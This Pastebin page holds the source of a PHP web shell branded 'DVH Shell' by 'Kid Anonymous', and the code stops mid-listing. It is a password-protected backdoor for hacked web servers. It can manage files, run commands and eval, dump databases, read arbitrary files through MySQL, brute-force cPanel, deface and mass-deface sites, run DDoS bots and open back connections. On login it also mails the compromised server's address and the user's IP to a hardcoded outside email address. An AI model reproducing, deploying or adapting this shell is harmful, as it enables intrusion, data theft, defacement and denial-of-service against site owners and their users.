Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php ?><?php
- /*******************************************************\
- |* DVH Shell - Shell edit by Kid Anonymous *|
- |* Edit & Develop by DVHTeam. *|
- |* == Hacking & Security == *|
- \***************************************************/
- error_reporting(7);
- @set_magic_quotes_runtime(0);
- ob_start();
- $mtime = explode(' ', microtime());
- $starttime = $mtime[1] + $mtime[0];
- define('SA_ROOT', str_replace('\\', '/', dirname('index.php')) . '/');
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
- define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
- define('IS_COM', class_exists('COM') ? 1 : 0);
- define('IS_GPC', get_magic_quotes_gpc());
- $dis_func = get_cfg_var('disable_functions');
- define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
- @set_time_limit(0);
- foreach (array('_GET', '_POST') as $_request) {
- foreach ($$_request as $_key => $_value) {
- if ($_key{0} != '_') {
- if (IS_GPC) {
- $_value = s_array($_value);
- }
- $$_key = $_value;
- }
- }
- }
- /*================= Info Login ================*/
- $admin = array();
- $admin['check'] = true;
- $admin['pass'] = 'KidAnons'; // Pass Đăng Nhập
- $admin['cookiepre'] = '';
- $admin['cookiedomain'] = '';
- $admin['cookiepath'] = '/';
- $admin['cookielife'] = 86400;
- /*================= END ================*/
- if ($charset == 'utf8') {
- header("content-Type: text/html; charset=utf-8");
- } elseif ($charset == 'big5') {
- header("content-Type: text/html; charset=big5");
- } elseif ($charset == 'gbk') {
- header("content-Type: text/html; charset=gbk");
- } elseif ($charset == 'latin1') {
- header("content-Type: text/html; charset=iso-8859-2");
- }
- $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
- $timestamp = time();
- if ($action == "logout") {
- scookie('vbapass', '', -86400 * 365);
- p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
- p('<body background=>');
- exit;
- }
- if ($admin['check']) {
- if ($doing == 'login') {
- if ($admin['pass'] == $password) {
- scookie('vbapass', $password);
- // Function Send Mail
- $time_shell = "" . date("d/m/Y - H:i:s") . "";
- $ip_remote = $_SERVER["REMOTE_ADDR"];
- $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
- $to_email = 'parkhiipz@gmail.com';
- $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
- $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
- $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
- @mail($to_email, $server_mail, $linkcr, $header);
- p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
- p('<body background=>
- <BR><BR><div align=center><font style="color:#00D0FF;text-shadow: 0 0 0.3em violet,0 0 0.3em red;" face=tahoma size=5>Kid Anonymous <BR><img src=https://hms.amana-md.gov.sa/Contractors/Content/Images/loading2.gif></div>');
- exit;
- } else {
- $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Sory, password is rom</blink><BR></font></div></td></tr></table>';
- echo $err_mess;
- }
- }
- if ($_COOKIE['vbapass']) {
- if ($_COOKIE['vbapass'] != $admin['pass']) {
- loginpage();
- }
- } else {
- loginpage();
- }
- }
- $errmsg = '';
- if ($action == 'phpinfo') {
- if (IS_PHPINFO) {
- phpinfo();
- } else {
- $errmsg = 'phpinfo() function has non-permissible';
- }
- }
- if ($doing == 'downfile' && $thefile) {
- if (!@file_exists($thefile)) {
- $errmsg = 'The file you want Downloadable was nonexistent';
- } else {
- $fileinfo = pathinfo($thefile);
- header('Content-type: application/x-' . $fileinfo['extension']);
- header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
- header('Content-Length: ' . filesize($thefile));
- @readfile($thefile);
- exit;
- }
- }
- if ($doing == 'backupmysql' && !$saveasfile) {
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- $table = array_flip($table);
- $result = q("SHOW tables");
- if (!$result) p('<h2>' . mysql_error() . '</h2>');
- $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
- header('Content-type: application/unknown');
- header('Content-Disposition: attachment; filename=' . $filename);
- $mysqldata = '';
- while ($currow = mysql_fetch_array($result)) {
- if (isset($table[$currow[0]])) {
- $mysqldata.= sqldumptable($currow[0]);
- }
- }
- mysql_close();
- exit;
- }
- // Mysql
- if ($doing == 'mysqldown') {
- if (!$dbname) {
- $errmsg = 'Please input dbname';
- } else {
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- if (!file_exists($mysqldlfile)) {
- $errmsg = 'The file you want Downloadable was nonexistent';
- } else {
- $result = q("select load_file('$mysqldlfile');");
- if (!$result) {
- q("DROP TABLE IF EXISTS tmp_angel;");
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
- //Download SQL
- q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
- $result = q("select content from tmp_angel");
- q("DROP TABLE tmp_angel");
- }
- $row = @mysql_fetch_array($result);
- if (!$row) {
- $errmsg = 'Load file failed ' . mysql_error();
- } else {
- $fileinfo = pathinfo($mysqldlfile);
- header('Content-type: application/x-' . $fileinfo['extension']);
- header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
- header("Accept-Length: " . strlen($row[0]));
- echo $row[0];
- exit;
- }
- }
- }
- }
- ?>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
- <link rel="icon" href="http://www.zamzar.com/download.php?uid=36a79a6cb9e987889b14e3ed26cd6528-1c976abd3f65c6a&targetID=pmVo4ovEoklD6h7F90sLTw_I_I&fileID=p1agjrhck61h0a1615kpd6t17da4.png" type="image/x-icon" />
- <title><?php echo str_replace('.', '', ' Kid Anonymous'); ?></title>
- <style type="text/css">
- body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
- a {color:#00D0FF;text-decoration:none;}
- a:hover{color:#00D0FF;text-decoration:underline;}
- a:visited{text-decoration: none!important;
- color : #fff;text-shadow: rgb(0, 46, 255) 0px 0px 6px, rgb(3, 44, 254) 0px 0px 5px, rgb(9, 44, 255) 0px 0px 5px;}
- .alt1 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .alt2 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .focus td{border-top:1px solid green;border-bottom:0px solid red;background:#0E0E0E;padding:5px 10px 5px 5px;}
- .fout1 td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .fout td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .head td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:bold;}
- .head_small td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
- .head td span{font-weight:normal;}
- form{margin:0;padding:0;}
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
- input, textarea, button
- {
- font-size: 9pt;
- text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0);
- color: #ffffff;
- font-weight: bold;
- background-color: #000;
- }
- border-left: 1px solid lime;
- border-top: 1px solid lime;
- border-right: 1px solid lime;
- border-bottom: 1px solid lime;
- }
- select
- {
- font-size: 8pt;
- font-weight: normal;
- color: #ccc;
- font-family: verdana, sans-serif;
- background-color: #202020;
- }
- </style>
- <script type="text/javascript">
- function CheckAll(form) {
- for(var i=0;i<form.elements.length;i++) {
- var e = form.elements[i];
- if (e.name != 'chkall')
- e.checked = form.chkall.checked;
- }
- }
- function $(id) {
- return document.getElementById(id);
- }
- function goaction(act){
- $('goaction').action.value=act;
- $('goaction').submit();
- }
- </script>
- <style type="text/css">
- body,td{font: 10pt Tahoma;size:5;color:red;text-shadow:0px 0px 3px;}
- a {color:#00D0FF;text-decoration:none;}
- a:hover{color:#00D0FF;text-decoration:underline;}
- .alt1 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .alt2 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .focus td{border-top:1px solid green;border-bottom:0px solid red;background:#8B7B8B;padding:5px 10px 5px 5px;}
- .fout1 td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .fout td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
- .head td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:bold;}
- .head_small td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
- .head td span{font-weight:normal;}
- form{margin:0;padding:0;}
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
- input, textarea, button
- {
- font-size: 9pt;
- color: #00D0FF;text-shadow: 0px 0px 3px;
- font-family: verdana, sans-serif;
- background-color: black;
- border-left: 1px solid #74A202;
- border-top: 1px solid #74A202;
- border-right: 1px solid #74A202;
- border-bottom: 1px solid #74A202;
- }
- select
- {
- font-size: 8pt;
- font-weight: normal;
- color: #ccc;
- font-family: verdana, sans-serif;
- background-color: #202020;
- }
- </style>
- <script type="text/javascript">
- function CheckAll(form) {
- for(var i=0;i<form.elements.length;i++) {
- var e = form.elements[i];
- if (e.name != 'chkall')
- e.checked = form.chkall.checked;
- }
- }
- function $(id) {
- return document.getElementById(id);
- }
- function goaction(act){
- $('goaction').action.value=act;
- $('goaction').submit();
- }
- </script>
- </head>
- <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all">
- <style>
- *{margin:0;padding:0}
- #kid {
- position:fixed;
- top:0;left:0;
- width:100%;height:100%;
- z-index:-1;
- }
- </style>
- <div id="kid"><img width="100%" height="100%" src="http://imageshack.com/a/img923/794/rBgXdM.jpg"/></div>
- <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1023.ani), url(http://cur.cursors-4u.net/cursors/cur-11/cur1023.png), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/01/22/x-steel-help-select.html" target="_blank" title="X-Steel - Help Select"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="X-Steel - Help Select" style="position:absolute; top: 0px; right: 0px;" /></a>
- <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
- <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
- <tr>
- <td align="center" valign=center>
- <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
- Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
- </div>
- </td>
- </tr>
- </table>
- </div>
- <script>
- var ld=(document.all);
- var ns4=document.layers;
- var ns6=document.getElementById&&!document.all;
- var ie4=document.all;
- if (ns4)
- ld=document.loading;
- else if (ns6)
- ld=document.getElementById("loading").style;
- else if (ie4)
- ld=document.all.loading.style;
- function init()
- {
- if(ns4){ld.visibility="hidden";}
- else if (ns6||ie4) ld.display="none";
- }
- </script>
- <table width="100%" border="0" cellpadding="0" cellspacing="0">
- <tr class="head_small">
- <td width=100%>
- <table width=100%><tr class="head_small"><td width=86px><a title="Kid Anonymous" href="<?php $self; ?>"><img src=http://imageshack.com/a/img923/794/rBgXdM.jpg height=100 border=0></a></td>
- <td>
- <span style="float:right;"> <?php echo "Hostname: " . $_SERVER['HTTP_HOST'] . ""; ?> | <a href="https://www.facebook.com/phuongadd" target="_blank"><a href="#" target="_blank"><?php echo str_replace('.', '', '[The New King]'); ?></a> [wWw]</a> | <a href="javascript:goaction('logout');"><font color=red>Đăng Xuất</font></br></br><a href="?action=Delete-Shell" style="float:right;" title="Xóa Shell">-Xóa Shell-</a></a></span>
- <?php
- $curl_on = @function_exists('curl_version');
- $mysql_on = @function_exists('mysql_connect');
- $mssql_on = @function_exists('mssql_connect');
- $pg_on = @function_exists('pg_connect');
- $ora_on = @function_exists('ocilogon');
- echo (($safe_mode) ? ("Safe_mod: <b><font color=Aqua>ON</font></b> - ") : ("Safe_mod: <b><font color=Aqua>OFF</font></b> - "));
- echo "PHP version: <b>" . @phpversion() . "</b> - ";
- echo "cURL: " . (($curl_on) ? ("<b><font color=Aqua>ON</font></b> - ") : ("<b><font color=Aqua>OFF</font></b> - "));
- echo "MySQL: <b>";
- $mysql_on = @function_exists('mysql_connect');
- if ($mysql_on) {
- echo "<font color=Aqua>ON</font></b> - ";
- } else {
- echo "<font color=Aqua>OFF</font></b> - ";
- }
- echo "MSSQL: <b>";
- $mssql_on = @function_exists('mssql_connect');
- if ($mssql_on) {
- echo "<font color=Aqua>ON</font></b> - ";
- } else {
- echo "<font color=Aqua>OFF</font></b> - ";
- }
- echo "PostgreSQL: <b>";
- $pg_on = @function_exists('pg_connect');
- if ($pg_on) {
- echo "<font color=Aqua>ON</font></b> - ";
- } else {
- echo "<font color=Aqua>OFF</font></b> - ";
- }
- echo "Oracle: <b>";
- $ora_on = @function_exists('ocilogon');
- if ($ora_on) {
- echo "<font color=Aqua>ON</font></b>";
- } else {
- echo "<font color=Aqua>OFF</font></b><BR>";
- }
- echo "Disable functions : <b>";
- if ('' == ($df = @ini_get('disable_functions'))) {
- echo "<font color=Aqua>NONE</font></b><BR>";
- } else {
- echo "<font color=Aqua>$df</font></b><BR>";
- }
- echo "<font color=#00D0FF>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
- echo "<font color=#00D0FF>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=#00D0FF>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";
- ?>
- <span style="float:left;">Server IP: <?php echo "<font color=green>" . gethostbyname($_SERVER['SERVER_NAME']) . "</font>"; ?> - Your IP: <?php echo "<font color=green>" . $_SERVER['REMOTE_ADDR'] . "</font>"; ?></span></td>
- </tr></table></td>
- </tr>
- <tr class="alt1">
- <td width=100%>
- <a href="javascript:goaction('file');">File Manager</a> |
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
- <a href="javascript:goaction('shell');">Execute Command</a> |
- <a href="javascript:goaction('phpenv');">PHP Variable</a> |
- <a href="javascript:goaction('eval');">Eval PHP Code</a> |
- <a href="javascript:goaction('brutecpv2');">brutecpv2</a> |
- <a href="javascript:goaction('cgi');">CGI</a> |
- <a href="javascript:goaction('deface');">Deface</a> |
- <a href="javascript:goaction('mass');">Mass Deface</a> |
- <a href="javascript:goaction('changepas');">Changes</a> |
- <a href="javascript:goaction('newcommand');">Command</a> |
- <a href="javascript:goaction('symroot');">Sym Root</a> |
- <a href="sym/" target="_blank">Open Sym </a> |
- <a href="javascript:goaction('upshell');">Up shell</a> | </br>
- <a href="javascript:goaction('brutecp');">Brute CP</a> |
- <a href="javascript:goaction('brutecpv2');">BruteCP V2</a> |
- <a href="javascript:goaction('getbot');">GET BOT FOR DDOS</a> == <a href="javascript:goaction('ddos');">DDOS SCRIPT</a> |
- <a href="javascript:goaction('reip');">Reverse IP</a> |
- <a href="javascript:goaction('bugshell');">BUG SHELL</a> |
- <a href="javascript:goaction('ssihtml');">Shell SSIHTML</a> |
- <a href="javascript:goaction('endecode');">En-Decode</a> |
- <a href="javascript:goaction('findadmin');">Find Admin Patch</a> |
- <a href="javascript:goaction('ddosv2');">DDos Ver 2</a> |
- <a href="javascript:goaction('dumpsql');">Dump Sql</a> |
- <a href="javascript:goaction('md5');">Md5</a> |
- <a href="javascript:goaction('crackmd5');">Crack Md5</a> |
- <a href="javascript:goaction('spammail');">Spam Mail</a> |
- <a href="javascript:goaction('viewdomain');">UserAndDomain</a> |
- <a href="javascript:goaction('scanbd');">Scan Backdoor</a> |
- <a href="javascript:goaction('botKidAnons');">Bot Kid Anonymous</a> |
- <a href="javascript:goaction('termi');">DIE Group Terminal</a> |
- <a href="javascript:goaction('packshell');">Pack Shell</a> |
- <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('brute');">Brute</a> <?php
- } ?>
- <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php
- } ?>
- <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php
- } ?></br>
- </td>
- </tr>
- </table>
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
- <?php
- formhead(array('name' => 'goaction'));
- makehide('action');
- formfoot();
- $errmsg && m($errmsg);
- // Dir function
- !$dir && $dir = '.';
- $nowpath = getPath(SA_ROOT, $dir);
- if (substr($dir, -1) != '/') {
- $dir = $dir . '/';
- }
- $uedir = ue($dir);
- if (!$action || $action == 'file') {
- // Non-writeable
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
- // Delete dir
- if ($doing == 'deldir' && $thefile) {
- if (!file_exists($thefile)) {
- m($thefile . ' directory does not exist');
- } else {
- m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'failed'));
- }
- }
- // Create new dir
- elseif ($newdirname) {
- $mkdirs = $nowpath . $newdirname;
- if (file_exists($mkdirs)) {
- m('Directory has already existed');
- } else {
- m('Directory created ' . (@mkdir($mkdirs, 0755) ? 'success' : 'failed'));
- @chmod($mkdirs, 0755);
- }
- }
- // Upload file
- elseif ($doupfile) {
- m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
- }
- // Edit file
- elseif ($editfilename && $filecontent) {
- $fp = @fopen($editfilename, 'w');
- m('Save file ' . (@fwrite($fp, $filecontent) ? 'success' : 'failed'));
- @fclose($fp);
- }
- // Modify
- elseif ($pfile && $newperm) {
- if (!file_exists($pfile)) {
- m('The original file does not exist');
- } else {
- $newperm = base_convert($newperm, 8, 10);
- m('Modify file attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'failed'));
- }
- }
- // Rename
- elseif ($oldname && $newfilename) {
- $nname = $nowpath . $newfilename;
- if (file_exists($nname) || !file_exists($oldname)) {
- m($nname . ' has already existed or original file does not exist');
- } else {
- m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
- }
- }
- // Copu
- elseif ($sname && $tofile) {
- if (file_exists($tofile) || !file_exists($sname)) {
- m('The goal file has already existed or original file does not exist');
- } else {
- m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
- }
- }
- // File exit
- elseif ($curfile && $tarfile) {
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {
- m('The goal file has already existed or original file does not exist');
- } else {
- $time = @filemtime($tarfile);
- m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
- }
- }
- // Date
- elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
- if (!@file_exists($curfile)) {
- m(basename($curfile) . ' does not exist');
- } else {
- $time = strtotime("$year-$month-$day $hour:$minute:$second");
- m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
- }
- }
- // Download
- elseif ($doing == 'downrar') {
- if ($dl) {
- $dfiles = '';
- foreach ($dl as $filepath => $value) {
- $dfiles.= $filepath . ',';
- }
- $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
- $dl = explode(',', $dfiles);
- $zip = new PHPZip($dl);
- $code = $zip->out;
- header('Content-type: application/octet-stream');
- header('Accept-Ranges: bytes');
- header('Accept-Length: ' . strlen($code));
- header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . 'sql.gz');
- echo $code;
- exit;
- } else {
- m('Please select file(s)');
- }
- }
- // Delete file
- elseif ($doing == 'delfiles') {
- if ($dl) {
- $dfiles = '';
- $succ = $fail = 0;
- foreach ($dl as $filepath => $value) {
- if (@unlink($filepath)) {
- $succ++;
- } else {
- $fail++;
- }
- }
- m('Deleted file have finished??choose ' . count($dl) . ' success ' . $succ . ' fail ' . $fail);
- } else {
- m('Please select file(s)');
- }
- }
- // Function Newdir
- formhead(array('name' => 'createdir'));
- makehide('newdirname');
- makehide('dir', $nowpath);
- formfoot();
- formhead(array('name' => 'fileperm'));
- makehide('newperm');
- makehide('pfile');
- makehide('dir', $nowpath);
- formfoot();
- formhead(array('name' => 'copyfile'));
- makehide('sname');
- makehide('tofile');
- makehide('dir', $nowpath);
- formfoot();
- formhead(array('name' => 'rename'));
- makehide('oldname');
- makehide('newfilename');
- makehide('dir', $nowpath);
- formfoot();
- formhead(array('name' => 'fileopform'));
- makehide('action');
- makehide('opfile');
- makehide('dir');
- formfoot();
- $free = @disk_free_space($nowpath);
- !$free && $free = 0;
- $all = @disk_total_space($nowpath);
- !$all && $all = 0;
- $used = $all - $free;
- $used_percent = @round(100 / ($all / $free), 2);
- p('<font color=Aqua face=tahoma size=2><B>Dung Lượng Host:</b> </font> Dung Lượng Đã Dùng <font color=Aqua>' . sizecount($free) . '</font> of <font color=yellow>' . sizecount($all) . '</font> (<font color=green>' . $used_percent . '</font>%)</font>');
- ?>
- <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
- <form action="" method="post" id="godir" name="godir">
- <tr>
- <td nowrap>Đường Dẫn Hiện Tại (<?php echo $dir_writeable; ?>, <?php echo getChmod($nowpath); ?>)</td>
- <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath; ?>" type="text" style="width:100%;margin:0 8px;"></td>
- <td nowrap><input class="bt" value="GO" type="submit"></td>
- </tr>
- </form>
- </table>
- <script type="text/javascript">
- function createdir(){
- var newdirname;
- newdirname = prompt('Please input the directory name:', '');
- if (!newdirname) return;
- $('createdir').newdirname.value=newdirname;
- $('createdir').submit();
- }
- function fileperm(pfile){
- var newperm;
- newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
- if (!newperm) return;
- $('fileperm').newperm.value=newperm;
- $('fileperm').pfile.value=pfile;
- $('fileperm').submit();
- }
- function copyfile(sname){
- var tofile;
- tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
- if (!tofile) return;
- $('copyfile').tofile.value=tofile;
- $('copyfile').sname.value=sname;
- $('copyfile').submit();
- }
- function rename(oldname){
- var newfilename;
- newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
- if (!newfilename) return;
- $('rename').newfilename.value=newfilename;
- $('rename').oldname.value=oldname;
- $('rename').submit();
- }
- function dofile(doing,thefile,m){
- if (m && !confirm(m)) {
- return;
- }
- $('filelist').doing.value=doing;
- if (thefile){
- $('filelist').thefile.value=thefile;
- }
- $('filelist').submit();
- }
- function createfile(nowpath){
- var filename;
- filename = prompt('Please input the file name:', '');
- if (!filename) return;
- opfile('editfile',nowpath + filename,nowpath);
- }
- function opfile(action,opfile,dir){
- $('fileopform').action.value=action;
- $('fileopform').opfile.value=opfile;
- $('fileopform').dir.value=dir;
- $('fileopform').submit();
- }
- function godir(dir,view_writable){
- if (view_writable) {
- $('godir').view_writable.value=1;
- }
- $('godir').dir.value=dir;
- $('godir').submit();
- }
- </script>
- <?php
- tbhead();
- p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
- p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
- p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
- if ($view_writable) {
- p(' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>');
- } else {
- p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>');
- }
- p(' | <a href="javascript:createdir();">Tạo Thư Mục</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Tạo File</a>');
- if (IS_WIN && IS_COM) {
- $obj = new COM('scripting.filesystemobject');
- if ($obj && is_object($obj)) {
- $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
- foreach ($obj->Drives as $drive) {
- if ($drive->DriveType == 2) {
- p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
- } else {
- p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
- }
- }
- }
- }
- p('</td></tr></form>');
- p('<tr class="head"><td> </td><td>Tên File</td><td width="16%">Lần Đăng Nhập Cuối</td><td width="10%">Kích Thước</td><td width="20%">Chmod / Perms</td><td width="22%">Hành Động</td></tr>');
- // Get path
- $dirdata = array();
- $filedata = array();
- if ($view_writable) {
- $dirdata = GetList($nowpath);
- } else {
- // Open dir
- $dirs = @opendir($dir);
- while ($file = @readdir($dirs)) {
- $filepath = $nowpath . $file;
- if (@is_dir($filepath)) {
- $dirdb['filename'] = $file;
- $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
- $dirdb['dirchmod'] = getChmod($filepath);
- $dirdb['dirperm'] = getPerms($filepath);
- $dirdb['fileowner'] = getUser($filepath);
- $dirdb['dirlink'] = $nowpath;
- $dirdb['server_link'] = $filepath;
- $dirdb['client_link'] = ue($filepath);
- $dirdata[] = $dirdb;
- } else {
- $filedb['filename'] = $file;
- $filedb['size'] = sizecount(@filesize($filepath));
- $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
- $filedb['filechmod'] = getChmod($filepath);
- $filedb['fileperm'] = getPerms($filepath);
- $filedb['fileowner'] = getUser($filepath);
- $filedb['dirlink'] = $nowpath;
- $filedb['server_link'] = $filepath;
- $filedb['client_link'] = ue($filepath);
- $filedata[] = $filedb;
- }
- } // while
- unset($dirdb);
- unset($filedb);
- @closedir($dirs);
- }
- @sort($dirdata);
- @sort($filedata);
- $dir_i = '0';
- foreach ($dirdata as $key => $dirdb) {
- if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
- $thisbg = bg();
- p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
- p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
- p('<td nowrap>' . $dirdb['mtime'] . '</td>');
- p('<td nowrap>--</td>');
- p('<td nowrap>');
- p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
- p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">Xóa File</a> | <a href="javascrip:rename(\'' . $dirdb['server_link'] . '\');">Đổi Tên</a></td>');
- p('</tr>');
- $dir_i++;
- } else {
- if ($dirdb['filename'] == '..') {
- p('<tr class=fout>');
- p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Về Trước</a></td>');
- p('</tr>');
- }
- }
- }
- p('<tr bgcolor="red" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
- p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
- makehide('action', 'file');
- makehide('thefile');
- makehide('doing');
- makehide('dir', $nowpath);
- $file_i = '0';
- foreach ($filedata as $key => $filedb) {
- if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
- $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
- $thisbg = bg();
- p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
- p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
- p('<td nowrap>' . $filedb['mtime'] . '</td>');
- p('<td nowrap>' . $filedb['size'] . '</td>');
- p('<td nowrap>');
